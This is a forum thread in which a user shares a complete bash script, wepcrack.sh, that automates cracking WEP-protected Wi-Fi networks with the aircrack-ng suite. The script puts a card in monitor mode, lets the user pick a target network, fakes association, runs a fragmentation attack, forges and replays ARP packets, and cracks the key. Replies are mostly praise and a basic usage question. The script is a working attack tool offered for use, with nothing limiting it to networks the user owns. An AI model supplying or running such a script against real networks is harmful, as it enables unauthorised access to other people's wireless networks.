Page 1 of 2 12 LastLast
Results 1 to 10 of 11

Thread: automated WEP cracking script - wepcrack.sh

  1. #1
    Just burned his ISO
    Join Date
    Feb 2010
    Posts
    13

    Default automated WEP cracking script - wepcrack.sh

    Hi guys,

    I have created a script that basically runs through all that is required to crack WEP. It's at v1.0 as it's now working but I know there are some bugs in it. This has been tested with Alfa AWUS036H 1000mW card on Ubuntu 9.10 and BT4 and it's working fine.

    The script can be downloaded from here. For reference it is displayed below.

    Code:
    #!/bin/bash
    # wepcrack.sh
    #
    # This tool requires aircrack-ng tools to be installed and run as root
    #
    # ChangeLog....
    VERSION="1.0"
    # Version 1.0 - First Release
    
    #################################################################
    # CHECKING FOR ROOT
    #################################################################
    if [ `echo -n $USER` != "root" ]
    then
    	echo "MESSAGE:"
    	echo "MESSAGE: ERROR: Please run as root!"
    	echo "MESSAGE:"
    	exit 1
    fi
    
    #################################################################
    # CHECKING TO SEE IF INTERFACE IS PROVIDED
    #################################################################
    if [ -z ${1} ]
    then
    	echo "MESSAGE: Version number ${VERSION}"
    	echo "MESSAGE: Usage: `basename ${0}` [interface] [BSSID] [channel]"
    	echo "MESSAGE: Example #`basename ${0}` wlan0 (everything else is optional)"
    	exit 1
    else
    	INTERFACE="`echo "${1}" | cut -c 1-6`"
    	echo "MESSAGE: Putting ${INTERFACE} in monitor mode"
    fi
    
    #################################################################
    # PUT WIFI IN MONITOR MODE
    #################################################################
    airmon-ng start ${INTERFACE}
    iwconfig ${INTERFACE} # mon0
    
    #################################################################
    # GET INTERFACE MAC ADDRESS
    #################################################################
    MACADDRESS=`ifconfig ${INTERFACE} | grep ${INTERFACE} | tr -s ' ' | cut -d ' ' -f5 | cut -c 1-17`
    
    #################################################################
    # CHECK IF BSSID,CHANNEL & TARGETNAME WERE PROVIDED
    #################################################################
    if [ -z ${2} ] || [ -z ${3} ] ; then
    	#################################################################
    	# SHOW VISIBLE WEP NETWORKS
    	#################################################################
    	echo "MESSAGE: Will now display all visible WEP networks"
    	echo "MESSAGE: Once you have identified the network you wish to target press Ctrl-C to exit"
    	read -p "MESSAGE: Press enter to view networks"
    	airodump-ng --encrypt WEP ${INTERFACE} # mon0
    
    	#################################################################
    	# USER INPUT DETAILS FROM AIRODUMP
    	#################################################################
    	while true
    	do
    		echo -n "MESSAGE: Please enter the target BSSID here: "
    		read -e BSSID
    		echo -n "MESSAGE: Please enter the target channel here: "
    		read -e CHANNEL
    		echo "MESSAGE: Target BSSID            : ${BSSID}"
    		echo "MESSAGE: Target Channel          : ${CHANNEL}"
    		echo "MESSAGE: Interface MAC Address   : ${MACADDRESS}"
    		echo -n "MESSAGE: Is this information correct? (y or n): "
    	  	read -e CONFIRM
    	 	case $CONFIRM in
    	    		y|Y|YES|yes|Yes)
    				break ;;
    	    		*) echo "MESSAGE: Please re-enter information"
    	  	esac
    	done
    fi
    
    #################################################################
    # START AIRODUMP IN XTERM WINDOW
    #################################################################
    echo "MESSAGE: Starting packet capture - Ctrl-c to end it"
    xterm -e "airodump-ng -c ${CHANNEL} --bssid ${BSSID} --ivs -w capture ${INTERFACE}" & AIRODUMPPID=$!
    sleep 2
    
    #################################################################
    # ASSOCIATE WITH AP & THEN PERFORM FRAGMENTATION ATTACK
    #################################################################
    aireplay-ng -1 0 -a ${BSSID} -h ${MACADDRESS} ${INTERFACE}
    aireplay-ng -5 -b ${BSSID} -h ${MACADDRESS} ${INTERFACE}
    packetforge-ng -0 -a ${BSSID} -h ${MACADDRESS} -k 255.255.255.255 -l 255.255.255.255 -y *.xor -w arp-packet ${INTERFACE}
    xterm -e "aireplay-ng -2 -r arp-packet ${INTERFACE}" & AIREPLAYPID=$!
    
    #################################################################
    # ATTEMPTING TO CRACK
    #################################################################
    while true
    do
    	aircrack-ng -n 128 -b ${BSSID} *.ivs
    	echo -n "MESSAGE: Did you get the key?: (y or no)"
      	read -e CONFIRM
     	case $CONFIRM in
        		y|Y|YES|yes|Yes)
    			break ;;
        		*) echo "MESSAGE: Will attempt to crack again" & sleep 3
      	esac
    done
    
    #################################################################
    # DELETE FILES CREATED DURING WEP CRACKING
    #################################################################
    kill ${AIRODUMPPID}
    kill ${AIREPLAYPID}
    airmon-ng stop ${INTERFACE}
    rm *.ivs *.cap *.xor
    exit 0
    Any help, improvements or updates will be greatly appreciated.

    Many thanks

  2. #2
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: automated WEP cracking script - wepcrack.sh

    You do know that if you posted the entire script above then you really don't need the download link as well.
    I mean all one needs to do is copy and paste into a text file save as .sh and make it executable.

  3. #3
    Moderator theprez98's Avatar
    Join Date
    Jan 2010
    Location
    Maryland
    Posts
    2,533

    Default Re: automated WEP cracking script - wepcrack.sh

    Quote Originally Posted by Archangel.Amael View Post
    You do know that if you posted the entire script above then you really don't need the download link as well.
    I mean all one needs to do is copy and paste into a text file save as .sh and make it executable.
    At least he used the code function. ;-)

  4. #4
    Just burned his ISO
    Join Date
    Mar 2010
    Posts
    2

    Default Re: automated WEP cracking script - wepcrack.sh

    nice works dude.

  5. #5
    Just burned his ISO
    Join Date
    Feb 2010
    Posts
    13

    Default Re: automated WEP cracking script - wepcrack.sh

    Quote Originally Posted by Archangel.Amael View Post
    You do know that if you posted the entire script above then you really don't need the download link as well.
    I mean all one needs to do is copy and paste into a text file save as .sh and make it executable.
    and for those on a box without x11 (like the box i use this script on) it makes sense to make the script obtainable via wget....

    it's a pita to use links and then copy from a forum message.....

  6. #6
    Just burned his ISO
    Join Date
    Jan 2010
    Posts
    11

    Default Re: automated WEP cracking script - wepcrack.sh

    nice 1, thanks, will be using this

  7. #7
    Member
    Join Date
    Feb 2010
    Location
    Root
    Posts
    121

    Default Re: automated WEP cracking script - wepcrack.sh

    Outstanding, works great!

  8. #8
    Junior Member creepykrawler's Avatar
    Join Date
    Jan 2010
    Location
    USA
    Posts
    56

    Default Re: automated WEP cracking script - wepcrack.sh

    "Failing to plan is planning to fail"

  9. #9
    Just burned his ISO
    Join Date
    Apr 2010
    Posts
    1

    Default Re: automated WEP cracking script - wepcrack.sh

    Nice work
    But i want to know that how to run this script in Backtrack 4?
    Regards,

  10. #10
    Junior Member Liuser's Avatar
    Join Date
    Apr 2010
    Posts
    58

    Default Re: automated WEP cracking script - wepcrack.sh

    Quote Originally Posted by Hashimlokasher View Post
    Nice work
    But i want to know that how to run this script in Backtrack 4?
    Regards,
    It's a shell script.

    Read up on the basics of using and administering linux from the command line.

Page 1 of 2 12 LastLast

Similar Threads

  1. Startup script running
    By PostalService in forum Beginners Forum
    Replies: 1
    Last Post: 10-23-2010, 12:21 PM
  2. bt4-customise script?
    By Mr-Protocol in forum Beginners Forum
    Replies: 3
    Last Post: 06-15-2010, 12:28 PM
  3. msf: small webaudit shell script
    By m-1-k-3 in forum Experts Forum
    Replies: 4
    Last Post: 04-21-2010, 05:48 PM
  4. is there a startup script location?
    By redss in forum Beginners Forum
    Replies: 5
    Last Post: 03-09-2010, 06:49 AM
  5. Shell script
    By bbakker in forum Beginners Forum
    Replies: 1
    Last Post: 01-24-2010, 01:02 AM

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •